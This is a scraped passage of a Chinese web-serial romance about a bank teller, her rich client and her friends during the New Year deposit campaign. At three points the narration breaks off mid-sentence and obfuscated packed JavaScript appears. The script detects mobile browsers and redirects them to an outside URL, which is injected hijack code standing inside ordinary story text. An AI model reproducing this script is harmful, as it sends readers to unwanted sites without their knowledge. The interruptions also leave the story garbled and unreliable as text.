陈盎深吸一口气,拿出不怕被人打死的勇气,从口袋里掏出一张传单,缓缓展开在他面前:“陆先生,我在等你,等你好久了。” * “小陈啊,真是个营销天才!我从见第一面的时候,就看出来这小姑娘不一般,那眼睛里满满的都是灵气,都是才华啊!” 午饭时,行长在餐桌上对着陈盎大夸特夸。 由于陈盎拉了个大客户,她的开门红任务存款部分算是完成了,不仅完成了,还完成得特别好,带着整个支行飞升到排名第一。 行长笑得嘴都要裂开了。 他给陈盎夹了个最大的鸡腿,说道:“小陈,不要浪费自己的才华,明天继续去对面抢客户,咱们行就看你的了。” 陈盎:“!”嘴里的鸡腿瞬间不香了。 不过行长的如意算盘并没有得逞,因为第二天一早,支行接到总行的紧急通知,下架所有礼品传单,因为这种行为涉及不正当竞争,被人举报了,人民银行下发了禁令。 对此,陈盎只想说——感谢人民银行!!! 而好不容易把一百袋大米搬到楼下,听说又要重新搬上去的小曾一口气没回过来,当场晕了过去。 鸡飞狗跳的一天就这样结束。 第二天,陈盎休息,被陈母早早地从被窝里拽出来。 “昨晚还说和我一起去打年糕,现在起又起不来。”陈母拉开窗帘,冬季天色亮的晚,外面还是紫蒙蒙的一片。 陈盎躺在被子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925101|160458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里揉眼睛,问道:“陈小滨起了吗?” 陈母把她的衣服从衣柜里拿出来,放到床头:“小滨多勤快的人,早就起来了,还做了麦饼,煮了姜汁核桃调蛋,等着你吃呢。“ 陈盎打了个哈欠,觉得不可思议:“他怎么这么闲。” 吃过早饭,四人一起出门,陈小滨和陈父把浸泡过一夜的大米搬上借来的手推车,打年糕的地方在另一处院子,不远,拐个弯就到了。 过年前打年糕是本地农村的习俗。 城区里很少见到打年糕的场景。今天他们能打上年糕,还是托老街旅游开发的福——为了丰富旅游内容,将打年糕这一传统习俗搬了过来,在冬季里供游客观赏。 陈盎他们去的这家店,也就最近寒冷天气才开门,游客们观赏时,上的是传统的手打模式,他们一堆本地人去打年糕,上的则是工业时代模式。 机器运作不停,发出微微的轰鸣声。 炊烟袅袅、米香阵阵。 不大的院落里,大部分是上了年纪的人,还有两个凑热闹的小孩,抢着一块黏糊糊的年糕捏来捏去。 陈盎他们前面还排了几个人,于是站在旁边一边看一边等。 白乎乎热腾腾的年糕从机器管子里钻出来,一冒头,就被切一刀。手艺人的功夫就很神奇,每一刀切下去,都是一样的长短。 陈盎觉得看起来很解压,非常想上手试一试。 但切年糕的阿姨说太危险了,冷漠无情地拒绝了她。 被拒绝的陈盎很伤心,看了一会儿,有点审美疲劳,加上天气实在太冷,说道:“我去买杯咖啡,你们要吗?” 七点多,咖啡只有KFC有的卖,还好走过去也就十来分钟。陈盎买完出来,发现天空居然飘起了细小的雪花。 下雪了。 对于南方来说,实属是要激动一下并且发朋友圈的事情。 陈盎一手拎着咖啡,一手摊开掌心,雪花很少很小,白色的、脆弱的一片,刚接触到掌心的温度,就控制不住地融化了。 陈盎从兜里掏出手机拍照。 “小盎姐、小盎姐!”陈小滨气喘吁吁地从巷子里跑来,手里还捧着一块白色的东西。 “小盎姐,咱们家的年糕打上了,喏,冬天的第一块年糕。”陈小滨将手里的年糕掰下一小块,放入她口中,“怎么样,冬天的仪式感足不足?” 他一路跑过来,年糕早就已经冷掉了。 但陈盎嚼着嚼着,还是满足地眯起了眼睛:“足!特别足!年糕好吃,雪也好看。” 陈小滨眉毛上沾了薄薄的一层白雪,像个小老头,陈盎忍不住扑哧一声笑了。 陈小滨挠挠头:“你笑什么?” 陈盎不想说自己在嘲笑他,便指了指漫天细雪,道:“我突然想起一句很浪漫的话,他朝若是同淋雪,也算此生共白头。” 陈小滨一如既往捧场:“小盎姐真有文化。” 两人亲亲热热地笑闹着,没看到不远处,正站着一个默默注视他们的人影。 宋蕴之跺了跺脚,冷得往手里呵气,回头道:“陆屿安,你又看什么呢,怎么不走了,不是说好了今天去我店里考察,好的话再给我一笔投资吗?你别是后悔了。” 陆屿安却像是没听到她说什么,盯着侧方,眉头紧皱。 宋蕴之顺着他的视线看去,道:“诶,是陈盎,那男的谁?我们过去打个招呼吗?” 陆屿安收回视线,道:“不去。” 宋蕴之莫名从他身上感受到了一股比天色更为寒冷的气息,心里嘟囔着,嘴里不敢说什么,怕对方一不高兴就撤资,那她可上哪儿哭去。 宋蕴之小心翼翼道:“那我们去店里吧。” 陆屿安没回答她的话,走了几步,突然冷笑一声,道:“呵,假文艺。” 8. 第八章 第八章 “辞职?!” 陈盎一下子从床上坐起来,面膜都掉了,声音高了八分贝:“齐小馨,真的假的,为什么啊?” 齐馨道:“你都问为什么了,肯定真的啊。” 陈盎觉得她很勇,但又有点担心:“可你当初进这个学校挺不容易的,而且现在放寒假了。” “寒假这点时间,还不够我疗伤的呢。你是不是也觉得,我平时说的那些痛苦啊,累啊,不想干了啊,都是发发牢骚而已。” 陈盎有点不好意思:“有时候确实这样觉得。” 齐馨哼了一声:“这一年多,我真是受够了那些傻逼领导和傻逼家长,要不是看在我可爱的学生面上,分分钟辞职,不会等到寒假。而且,我也通过撒泼、上吊、发疯等一系列可可爱爱的方式,把我爸妈的思想工作做通了。” 陈盎心中对她油然起敬,同时叹了口气,道:“我还以为,学校的工作至少比银行轻松、体面。” “体面轻松都是公立学校的!私立出去相亲可没排面。哦对了,我已经找好了新工作,明天去正式入职。” 陈盎惊讶:“这么快?什么工作?” “反正不是老师,这辈子都不会当老师的!”齐馨神秘兮兮道,“是一个很有意思的工作,每天可以接触许多人,男的,女的,年轻的,年老的,而且做得好了,让他们高兴了满意了,可以拿大红包。赚钱速度杠杠的!” 陈盎默了默,问:“齐小馨,你不会是堕落了吧?” “你脑子里装的都是什么东西?!等着吧,等姐们成为一个富婆来包养你!”齐馨骂骂咧咧地挂了电话。 元旦过后,宣传片拍摄正式开始。 这次的拍摄总行很重视,拨了一大笔经费。专业摄影师、无人机、化妆师全部配齐。 陈盎起得很早,先赶到总行统一化妆,又坐着大巴车一天辗转好几个地方。都是临城有名的景点和地标,他们跳舞的时候,还吸引了好多游客围观,拿着手机拍。 陈盎不太会跳舞,又社恐,勉勉强强能跟上节奏,一天下来巨累。 坐上大巴车时,陈盎喝了一整瓶水,才有空拿出自己的手机,已经没电到关机,赶紧拿出充电宝充上。 打开微信,发现支行的工作群里发了份名单,说趁着春节前这段时间,大家抓紧登门送大客户礼品,维系好关系,维护好存款。 陈盎点开名单看了看,有陆屿安的名字。 想了想,戳进陆屿安的头像,将群里的礼品清单转发给他,问有没有什么感兴趣的,过几天方不方便他们上门拜访。 陆屿安半天没回复。 群里行长在催上门拜访的时间表,陈盎只好打了个电话给他。 “什么事。” 冷冰冰的声音,让坐在温暖空调车里的陈盎忍不住打了个寒颤。“陆先生,打扰到您了吗?” 陆屿安没回答,而是又问了一遍什么事。 陈盎便有事说事。 陆屿安拒绝了,并且说道:“这点小钱早就忘了。” 真装!陈盎在心里翻了个白眼,面上笑嘻嘻道:“嗯,那我去回复下领导,先挂了哈。” “陈盎。” “陆先生还有什么事?” “专一,是做人很重要的品质,你说对不对?” “呃——对啊。”陈盎不知道他为什么突然说这个。 陆屿安挂了电话。 听着“嘟嘟嘟”的声音,陈盎简直莫名其妙,什么意思啊,什么专一不专一的,让她一对一给他服务吗? 在群里发了回复,陈盎关掉手机,靠在座椅上闭眼休息,这一天天的过得真是太累了。 身累,心更累。 * 陈盎缓了两天才缓过来。 休息日,早上一睁开眼,陈盎就反复戳进叶崟的头像,他的朋友圈三天可见,出国玩的时候也不发朋友圈,连转发单位公众号的文章都少之又少。 只要他转发了,陈盎都会积极点赞,并且绞尽脑汁地评论。 可今天,他的朋友圈一片空白,只有冷冰冰的——“朋友仅展示最近三天的朋友圈”。 连背景图都是灰色图片。 陈盎发消息给齐馨:“姐妹,你说我的微信名改成硅酸盐可以吗,会不会太明显了?” 齐馨很快回复:“明显什么?” “叶崟啊,他的名字拆开就是山、金,俗话说山石为金,而石头的主要成分就是硅酸盐。你说他会不会发现我的心思啊?” 齐馨:“……你们土象抽象得我都看不懂!” 陈盎叹了口气:“主要是我怕人家觉得我居心不轨,” 齐馨说:“你不就是居心不轨吗。” 陈盎:“……”这姐妹没法当了。 两人聊了几句,陈盎听她那边有别人的声音,问:“这么晚了,你还在加班?这什么破工作,比学校还压榨!” 齐馨道:“我觉得这里上班可比学校有意思多了。算了算了,也不和你卖关子了,告诉你吧,我在婚介公司上班。” 陈盎讶然:“你这跨度也太大了吧。” 在她的印象里,婚介所都是一群退休的大妈和阿婆构成,每天非常八卦地打探别人的情感生活。 齐馨这种小姑娘家家的可怎么融入啊。 齐馨打破了她的刻板印象:“陈小盎,跟上点时代吧,现在很多相亲机构运营得非常成熟了。这年头最好做的生意就是当红娘。”说着,压低了声音,“而且我也没打算在这里打一辈子的工,我要创业,要赚大钱!等我在这儿熟悉一系列流程后,就挖挖客户,收集资源,到时候自己开一个红娘店。” 齐馨越说越兴奋,向她展示了五年内垄断临城婚介所,十年内全国各地开连锁,十五年内成为知名富豪的商业版图。 只要她不做违法乱纪的事,陈盎都表示支持:“加油冲啊,齐小馨!” 直到第二天晚上,陈盎坐在咖啡店里,很想收回鼓励她的话。 齐馨死死抱住她的腰不让走:“陈小盎,你就帮我这个忙,我和那个相亲男说好了,时间地点都订下了,那个女生放他鸽子也没办法,我就说给他介绍一个更好的,这可是我的第一个单子,你忍心看我挨骂吗?” 陈盎叹了口气,坐回到椅子上。 齐馨拿出手机,翻出资料给她看:“而且这男的条件确实不错,临城市区两套房,市中心又刚买了一套还在装修,你们要是能看对眼,也不错啊。” 陈盎道:“不是房子的问题,我现在不想相亲。反正,我下次不会帮你了。” 齐馨双手合十:“我知道我知道,这次辛苦姐妹了,下个月发了工资请你吃饭。” “三顿!” “两顿!” “成交。” 过了一会儿,相亲男到了,见到陈盎眼睛一亮,但陈盎对他全然没有兴趣。 正常的长相、正常的性格,陈盎说不出来哪里不好,反正和之前每一次相亲一样,纯粹的内心毫无波澜。 本想找一个说辞走人,这时,一个高大人影出现在旁边,黑色影子笼罩在了桌上,陈盎内心终于起了一点波澜。 陆屿安的冷笑从头顶洒下。 陈盎条件反射地站了起来:“陆先生?” 相亲男一脸懵:“这位是?” 陈盎不知道该怎么介绍,这是五百万要和我协议结婚两年的男的?于是便道:“我客户。” 陆屿安的目光在她脸上流连几秒,像是在审视,启唇问:“相亲?” 陈盎有点尴尬,点了点头。 陆屿安没再说什么,看了一眼相亲男,又看看她,转身走了。 陈盎心里飞快闪过一个念头,不该把相亲地点选在老街,否则就不会被陆屿安抓包了……不对,她为什么要用“抓包”这个词?! 陈盎控制住想抬起去追人的腿,坐回到椅子上。 相亲男伸手在她眼前晃了晃:“陈盎,陈盎?我们要不要去看电影啊。” 陈盎回神,抓起包:“我还有事,先走了啊。” 推开咖啡店的门,快步走到外面,只见长长的一条青石街上,雾气朦胧,三三两两的行人路过,没有一个是陆屿安的身影。 陈盎不禁有些失望地垂下了头。 * 距离春节还有五天,城南支行按照以往的传统,组织了年夜饭。 地点选在临城一家有名的海边饭店。 陈盎和小曾当了先锋军,下班后立刻赶过来点菜。经费有限,又要照顾每个人的口味,两人精打细算,终于完成了行长交代的点菜任务。 小曾伸伸懒腰,道:“这家饭店三楼有露台,可以看到整片海,去看看不?” 陈盎欣然答应。 两人走楼梯到三楼,推开玻璃门,发现露台上已经有几个人在了,其中两个还是熟人——陆屿安和宋蕴之。 宋蕴之先看到她,招招手:“陈盎,陈盎,快过来!” 陈盎看她状态和神情不对,走近一看,果然,宋蕴之浑身都是酒味,脸色通红,脚下跌落着好几个空酒瓶子。 陈盎看了看陆屿安,他正坐在一张藤椅上,在玩手机,头也没抬一下。 陈盎关心问:“蕴之,怎么喝这么多酒?都醉成这样了,别喝了。” 宋蕴之拿着酒瓶,大着舌头道:“我是酒仙,喝不醉的!不信我证明给你看,我好的很,我开心的很,我蹦起来可高了!”说着,原地蹦跶了几下,差点踩到酒瓶滑倒。 她滑稽的模样,让小曾忍不住笑了起来。 宋蕴之生气瞪他:“你个小白脸,笑什么笑!” 陆屿安终于抬头,先是看了看小曾,然后和宋蕴之道:“你再这样不正常,我立刻打电话给你爸妈,让他们接你回家。” “你才不正常,你全家都不正常!”宋蕴之冲过去,夺过他的手机,一把狠狠摔到地上,边踩边道,“让你告状,让你告状!” 陆屿安静静地看着她发疯。 陈盎看不下去了,赶紧拉了拉她:“蕴之,别踩了,你喝醉了,我扶你进去休息一下吧。” 宋蕴之却甩开她的手,一屁股坐在地上哇哇大哭了起来:“我苦啊,我心里苦啊,我的命怎么这么苦啊!” 陈盎莫名其妙,转头看向陆屿安:“她怎么了?” 陆屿安弯腰捡起手机,道:“没怎么,又一次创业即将失败而已。” 听到这话,宋蕴之恶狠狠瞪他:“谁说又要失败,我店里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她是不是去解释几句比较好? 陈盎从吃完饭就开始纠结,纠结到睡前,才决定给陆屿安发个消息,和他说说自己前几天为什么在咖啡馆相亲。 陈盎绞尽脑汁地编辑消息,心道,一定要自然,不显露声色,不能让他看出来她在解释。 整整花了二十分钟,陈盎终于编辑好几句话,发了出去。 然后收到一个鲜红的感叹号—— 陆屿安这货,居然把她删了! 陈盎觉得一股热血涌上头,蹭的一下坐起来。哎不是,凭啥删她啊?! 没为了拉存款去骚扰他,也没说错话得罪他。 这个男的,莫名其妙! 陈盎不服输的劲儿上来,点进陆屿安的头像,想把他也删掉。但转念一想,手指转了方向,点了重新加好友。 陆屿安倒是很快接受了好友邀请。 陈盎给他发了几个问号,对方不回复。陈盎只好直接问:“为什么删我?” 陆屿安还是不回复。 陈盎手指在屏幕上方犹豫片刻,打字:“是我前几天去相亲的原因吗?” 陆屿安回复:“下不为例。” 下不为例?!他觉得自己重新申请加好友,是在和他道歉吗? 陈盎觉得他想多了。 首先,她没做错什么,不会道歉。 其次,开门红拉的存款至少要维持一个月,万一他一气之下把存款转走了怎么办?!吃人嘴短,拿人手软,陈盎决定,至少这个月一定要把他哄好了。 她,陈盎,才不会被一个男的拿捏! 接下来的日子,陈盎每天早上睁开眼的第一件事,就是给陆屿安分享银行公众号里的财经新闻,并附上一句甜甜的早安问候。 陆屿安对此似乎很满意,主动告诉她,自己最近去温城出差,问她过年有什么打算吗。 陈盎想了想,老实道:“除夕、大年初一、初二、初三刚好都要上班。” 陆屿安:“所以,这就是打工人的辛酸吗。” 陈盎可以想象出手机那头,陆屿安那张幸灾乐祸、恶毒尖酸的资本家嘴脸,居然还敢嘲笑他们打工人! 呸! 陈盎气得咬牙切齿,又不能和他发作,只能去找齐馨吐槽。 一接通电话,齐馨先哇哇叫道:“陈小盎,我悟道了!我感觉我悟道了!” 陈盎莫名其妙:“什么悟道?” 齐馨道:“我这几天在相亲机构上班,见到可多奇葩有趣的人,他们的相亲故事也贼有意思。然后我昨晚开了一个小红书号,本想吐槽吐槽的,没想到写下的那几个故事爆了,很多人私信我,让我给他们牵牵线。” “我决定一边在相亲机构苟着,暗地里挖资源,一边在抖音、小红书这些新媒体上做账号,可以用流量变现,也可以积累网上的资源,等时机一成熟,我就辞职单干。老娘不会当一辈子的打工仔的!” 短短五分钟内被嘲讽两次的陈盎:“……” 男人是嘴贱的,姐妹是塑料的。 陈盎“啪”的一下挂断了电话。 9. 第九章 第九章 新年倒计时的第二天。 陈盎睡到中午才起,拿过手机一看,陆屿安八点钟给她发了一条消息:“去宋蕴之店里拿东西。” 陈盎打着哈欠回:“刚睡醒看到,什么东西啊?” 发完消息后,陈盎便去洗漱了,吃饭时拿出手机一看,早就得到了陆屿安的回复:“从温城带来的一点东西。” 神神秘秘的,陈盎吃完陈小滨煮的豆面汤,拉上他一起去宋蕴之的店里。 “小盎来了啊,快,快快快!”宋蕴之一看到她就热情招呼,“陆屿安特地交代了,这些东西是给你的,哎,后面那个小伙子,快来搬走,我店本来就不大,放着碍地方。” 陈盎指了指那一堆高高的礼盒,问道:“这些都是?” 宋蕴之往陈小滨怀里一盒一盒堆叠,头也不回道:“是啊,他在追你吧。” 陈小滨从礼盒后探出脑袋:“小盎姐,谁在追你?” 陈盎忙否认:“什么追我,没有的事!蕴之,别乱说,他不是你的金主吗?” “啊行行行,是我的金主,反正赶紧把这一堆东西搬走,别影响我做生意。” 正说着话,从古装店二楼走下来一个穿运动装的年轻男生,看了看几人,问道:“什么金主?” 宋蕴之回头一看,招招手:“快过来,给你介绍下我的朋友。” 男生看上去不过十八九岁模样,走到宋蕴之身边,盯住她,眼神执拗道:“之之,你说清楚,什么金主?” 宋蕴之朝他勾了勾手指,男生低头,她趁机在他脸上亲了一口:“宝宝,放心好了,你才是正主,哪有什么金主,之前那个姓陆的只是我小三。” 男生的脸瞬间红透了:“之之,你太过分了,又捉弄我。” 宋蕴之摸摸他的头,像在摸一只宠物狗:“乖,先帮我把东西搬到二楼,等会儿还有更过分的呢。” 年轻男生羞红脸:“你真讨厌,这么多人看着呢。” “那你喜欢我这么讨厌吗?” 两人旁若无人地调|情,陈小滨看得目瞪口呆。 陈盎也尴尬地轻咳一声。 宋蕴之却像什么都没注意到,哄走了年轻男生,拍拍手,转而介绍道:“我最近新交的男朋友,体育大学大二学生,怎么样,还不错吧,有八块腹肌。” 陈盎道:“挺好的挺好的,那我先走了啊。” 陈小滨抱着比脑袋还高的礼盒跟在她后面出了门。 陈盎想了想,转身拍了个照片,给陆屿安发消息:“陆先生,这就是你说的一点东西?!” 陆屿安不答反问:“喜欢吗?” 陈盎:“还没拆!” 到了家,陈盎一件一件拆开,手都酸了,忽然意识到不太好,她干嘛要收人家这么多礼物? 陈盎对着满地的盒子沉思片刻,算了,拿都拿了。 大不了,过年后,和行里申请一下给大客户的礼品再多一些。 * 除夕。 今天是陈盎正式上柜的一天,但陈盎今天最开心的事不是这个,而是卷帘门的营业时间提前到了三点,他们也可以跟着早点下班。 回到家,正好赶上吃年夜饭。 可怜的陈小滨还在值班。陈盎和陈父陈母三人一起吃完年夜饭,得到了一个大大的压岁钱红包。 工资一千六,红包一千八,这个月收获三千四巨款! 陈盎心满意足地将压岁钱放到枕头底下,躺在床上刷手机。 给几个关系好的朋友、同学、同事发了新年祝福。想了想,给陆屿安也发了一个,顺便问他陆奶奶怎么样了。 陆屿安或许正在忙,没有回消息。 过了一会儿,陈盎收到他一个视频,点开,寒冷黑夜里绽放着无数烟花,正想问这是哪儿,屏幕上方忽然弹出一个消息。 陈盎赶紧退出和他的聊天框,点进叶崟头像。 叶崟发了一个“新年快乐”,还有几朵表情包烟花。 陈盎积极回复。 叶崟在线,问:“明天上班吗?” 陈盎:“上班,连上三天!” 叶崟发了个摸摸头的表情,道:“明天来看你。” 陈盎震惊:“来看我?” 叶崟道:“和董事长一起来。” 陈盎失望地在心里哦了一声,就说他怎么会来看自己,感情是行里的春节慰问,来安抚一下他们这些牛马的。 叶崟又道:“看了天气预报,明天气温很低,早上要多穿点。” 陈盎觉得他大概率是对下属的关心,可又忍不住去钻研这几个字,希望是对自己这个人的关心。 两人聊了几句,以互道晚安结束。 时间还早,陈盎先刷了一会儿抖音,看见赛玉在直播,穿着戏服,捏着小折扇,咿咿呀呀地唱着越剧。 陈盎又刷了一会儿朋友圈。 齐馨发了一张通红刺目的海报:好消息好消息,脱单找小齐,请加下方微信,春节期间24小时在线为您服务,让您不再比猪还害怕过年! 下方就是宋蕴之发的古装店照片,配文字:新的一年也要好好努力哦,否则会被拉去结婚生孩子的呀(裂开表情)。 或许是明天要上班的缘故,或许是外面太吵闹的缘故,陈盎失眠到十二点,听见客厅的电视里传来倒计时的声音,接着,响起了熟悉的《难忘今宵》。 新的一年了,会有什么样的故事呢?陈盎缓缓入睡。 * 大年初一。 城南支行布置得喜气洋洋,开了两个窗口,陈盎和言欣欣坐柜,还有一个大堂经理。 新年尹始,来银行办业务的人很少,一上午才三个,其中有个想销卡,被言欣欣以“初一销卡不利于财运“给劝走了。 另外两个在大堂用智柜机办理了业务。 也就是说,陈盎一上午啥活都没干,还得到了董事长一行“春节送温暖”的三百块钱红包。 陈盎很满足,开心了一整天。 当然,也和叶崟冲她和善地笑有关系。 下午依旧是提前到三点下班,陈盎收拾款箱时,看见言欣欣正微信和一个培训班头像聊天。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925103|160458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 陈盎问:“欣欣,你男朋友公务员进面了?” 言欣欣做了一个“嘘”的表情,压低声音道:“是进面了,但他让我保密,咱们整个行很小的,一个人知道了,所有人都知道了,你千万别和别人说哦。” 陈盎点头:“放心吧,我嘴很严的。” 言欣欣道:“主要是年后还有面试,万一上不了,整个行又传遍了,我怕他心里压力太大。他这几天情绪不太好。” 公务员考试三比一进面,上岸概率只有百分之三十几。 陈盎道:“我之前看到培训班的朋友圈,说面试占比百分之六十呢,你男朋友肯定要报面试班的,到时候请好几天假,所有人还是会知道的。” 言欣欣想了想,道:“也是哦。不管这个,我先帮他一起看看哪个培训班好,到时候我也请几天假,去给他洗衣服送饭。你到时候能帮我代几天班吗?” 陈盎爽快答应。 结完账,整理好传票,送走运钞车,陈盎锁好卷帘门,和言欣欣在门口道别,正要去银行对面买烤栗子,路边的一辆车摁了摁喇叭。 陈盎一眼就认出来了这辆车。 车窗缓缓摇下,露出一张清俊的脸。 陆屿安朝她点了下下巴:“上车。” 陈盎犹豫了片刻,打开车门坐上去,正要问去哪儿,陆屿安却没有开车的意思,而是递过来一个保温桶。 陈盎满头问号:“这是什么?” 陆屿安道:“我奶奶让我送来的。”顿了顿,强调道:“她非让我送来。” 陈盎打开保温桶,热腾腾的白气冒了出来,还有一股油油香香的味道。白气散开后,一颗颗雪白圆胖的东西露了出来,陈盎眼睛一亮:“饺子?你怎么知道我喜欢吃饺子。” 陆屿安拆开筷子,递给她:“都说了,是我奶奶非让我送来的。” “好吧。”陈盎接过筷子,现在才下午三点多,她肚子还饱,但也不能拂了老人家的好意,于是努力地吃起来。 陆屿安看着看着,突然笑了起来。 陈盎正埋头吃着,听到他的笑声,抬头,两颊鼓鼓的瞪他:“你笑什么?” 陆屿安道:“你吃东西的样子,很像一个动物。” 陈盎冷笑一声:“我知道你要说像什么,猪,猪对吗?” 陆屿安摇头:“不是,像我以前养的一只松鼠。我又没养过猪。” 陈盎想象了一下松鼠的样子,觉得比猪要好接受一点,算了,她大人有大量,不和他计较。 陈盎咽下最后一颗饺子,将保温桶还给他,摸了摸肚子道:“好饱,我吃好了,先走了啊。” “等等。”陆屿安叫住她,突然靠近,拿起一个东西给她擦了擦嘴。 他身上有一股清冽气息,像雪松,又像海盐,陈盎脑子蒙蒙的,等回过神来,陆屿安已经坐回驾驶座了,“好了,你可以走了。” 陈盎打开车门,下车站好后,心脏的节拍逐渐恢复正常,看着渐渐驶离的汽车背影,突然意识到一个问题。 这鬼东西,居然用她的围巾给她擦嘴! 10. 第十章 第十章 开门红任务终于结束了。 陈盎感觉天都亮了不少。 本以为能休息一段时间,谁知中午吃饭时,行长说道:“接总行通知,近期将聘请第三方机构对我们这些支行进行考核、指导,或许还有暗访,大家上班的时候要注意。” 老蒋道:“请第三方机构指导?外行指点内行,这钱真是没地方花了。” “是啊,有这钱不如给我多发点工资,我比他们专业多了!” “总行嫌我们事情不够多,非要搞点事出来对吧。” “不搞这个怎么拿回扣?” “嘘——这话可不能乱说!”“……” 大家七嘴八舌了一会儿,被行长安抚住。 行长安抚好情绪,转而道:“虽然开门红结束了,但咱们的任务还是很重的。今天下午主要有两项任务,一个是大堂里举办包汤圆活动,需要一个同事配合,另一个是去老街那边扫街,让客户下载手机银行,完成三笔转账。” 言欣欣举手道:“我在大堂包汤圆!” 行长点头:“行,那小陈和小曾去扫街。” 陈盎又一次被安排得明明白白。 吃完饭后,收拾了下,和小曾每人拿着一叠传单,步行前往老街。 “陈盎,你家就在这里吧?应该认识很多人,咱们的任务岂不是手到擒来。” “你想多了,我平时不爱串门,老街现在要么是商户,要么是老年人,我一点都不熟悉。” 小曾表示失望,狠狠抨击了一番她是个宅女。 今天是元宵节,还残留着过年的氛围,屋檐角的红灯笼没摘,但老街早已恢复了人流量,各家商铺也早就开门迎客。 两家最火的海苔饼商铺依旧排着最长的队伍,网红泡虾店传来滋滋的油炸声,鲜榨甘蔗汁的店门口飘着好多只蜜蜂。 青石砖氤氲水汽,绣花鞋踩过,古装裙摆飘过。 到处飘荡着香喷喷的味道,还有鼎沸的人声。 新的一年,好像一切照旧。 陈盎藐视地瞥一眼小曾:“小曾,你是来发传单的,还是来看小姐姐的?” 小曾将视线从路过的两个古装小姐姐身上收回来,摸摸脑袋,不好意思道:“顺便,顺便的事。” 老街上许多商铺是他们支行的客户,不过大部分已经下载过手机银行,陈盎和小曾便将目光转向了个人客户。 老街虽然商业化了,但依旧是与生活气息交织的一条古街。 一家时尚茶饮的隔壁,就是原居民区。 一扇褐色木门打开着,昏暗光线里坐着一个正在纳鞋子的阿婆。 陈盎礼貌扣了扣门:“阿婆,你有手机银行吗?” “你说什么?”阿婆抬头,瞧了瞧他们,指指自己的耳朵,示意听不见。 小曾径直跨入门内,在她耳边大声道:“阿婆,你手机拿出来看一看,我们给你下载手机银行。” 阿婆只听见了手机两个字,从兜里掏出一个塑料袋,一层一层地拨开,露出里面的老年机。 小曾:“……” 陈盎失望地叹了口气:“小曾,这里的阿公阿婆年纪都挺大了,估计没几个用智能机。” 小曾将老年机还给阿婆,拍拍她的肩膀:“没事了阿婆,把你手机放回去吧。” 这时,从里屋走出来一个阿公,看见他的动作,顿时警惕问道:“你们是谁,干什么的,拿我老太婆手机做什么?” 陈盎忙解释道:“没做什么,本来想看看有没有手机银行,没有的话给你们下一个。” “什么银行,你们是不是来骗钱的!拿我老太婆手机做什么了?” “老年机能做什么啊……”小曾的话还没说完,怒目圆睁的阿公操起墙角的一把锄头,对准他们:“骗子,就是来骗钱的!把钱还回来!” “我冤枉啊!我靠!”小曾转身拉上陈盎,狂奔出门。 跑了一段距离,路过宋蕴之的店铺,陈盎忙拉着小曾去里面避一避。两人气喘吁吁,不明所以的店员走过来,看见是陈盎,笑了笑问他们干什么呢。 陈盎摆摆手:“一言难尽。”总之,钱难挣,屎难吃。 陈盎想了想,觉得不太好,道:“我们就这样跑了,万一人家报警,误会了怎么办,还是去解释一下吧。” 小曾道:“待会儿再去,等那老头儿情绪稳定了先。” 这时,从二层阁楼下来两个手挽手的年轻男女。陈盎抬头看去:“蕴之。嗯?” 也不怪陈盎发出疑惑,宋蕴之挽着的年轻男生,和上次见到的似乎不是同一个。 宋蕴之把年轻男生支使出去了,走过来打招呼:“小盎,你今天不是上班吗,怎么到我店里了?” 陈盎道:“出外勤呢。刚才那个男生是?” 宋蕴之道:“你说小萧吗?他是我上周新交的男朋友啊。哦对,你还没见过,上次见的那个是……呃,小林?” 陈盎惊讶道:“你这都记不清了?” 宋蕴之不在意地挥挥手:“我一年要换十七八个男朋友,哪儿记得清呢。” 小曾正拧开一瓶矿泉水喝,听到这话一口水喷了出来:“十七八个,有点夸张啊。要是你在银行工作,每交一个男朋友都能拉一笔存款、办一笔贷款,还能开一个ETC,任务岂不是很轻松!” 宋蕴之掩嘴笑道:“小盎,你这个同事被工作逼疯了吧。谈恋爱就是谈恋爱,这么功利,还谈什么啊。” 小曾不服道:“你一年换十七八个,这么不专一,还不如我功利一点好呢。” 宋蕴之道:“我怎么不专一了,我只喜欢二十岁的男大,这还不专一吗?” 两人气氛不妙,陈盎赶紧上去打圆场,道:“这倒也是另一种意义上的专一!小曾,我们去看看刚才那家阿公阿婆吧。” 拉着小曾出了古装店,宋蕴之站在门口道:“小盎,下个月老街搞宋韵婚礼,邀请了我家店铺合作,你到时候有空就一起来。” 陈盎答应。 没走几步,接到一个电话,放到耳边时,听到熟悉的声音,陈盎立刻脊背挺直,顺带看了眼小曾,背 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陈盎踢他:“我脸红是气的!气的!” 小曾道:“谁信啊,就是羞的!羞的!” 两人正吵着,身后传来一个怒气冲冲的声音:“别跑!你们这两个骗子别跑!” 陈盎和小曾同时回头,看一眼举着锄头冲上来的阿公,扭头,拔腿就跑。 “快跑啊!!!” * 日子又过了半个月。 食堂中午炒了一桌子丰盛的菜,金黄色的鸭蛋丝、黄鳝炒绿豆芽、猪肉炒洋葱、胡萝卜丝、手撕卤肉……还有绿色、白色的面饼。 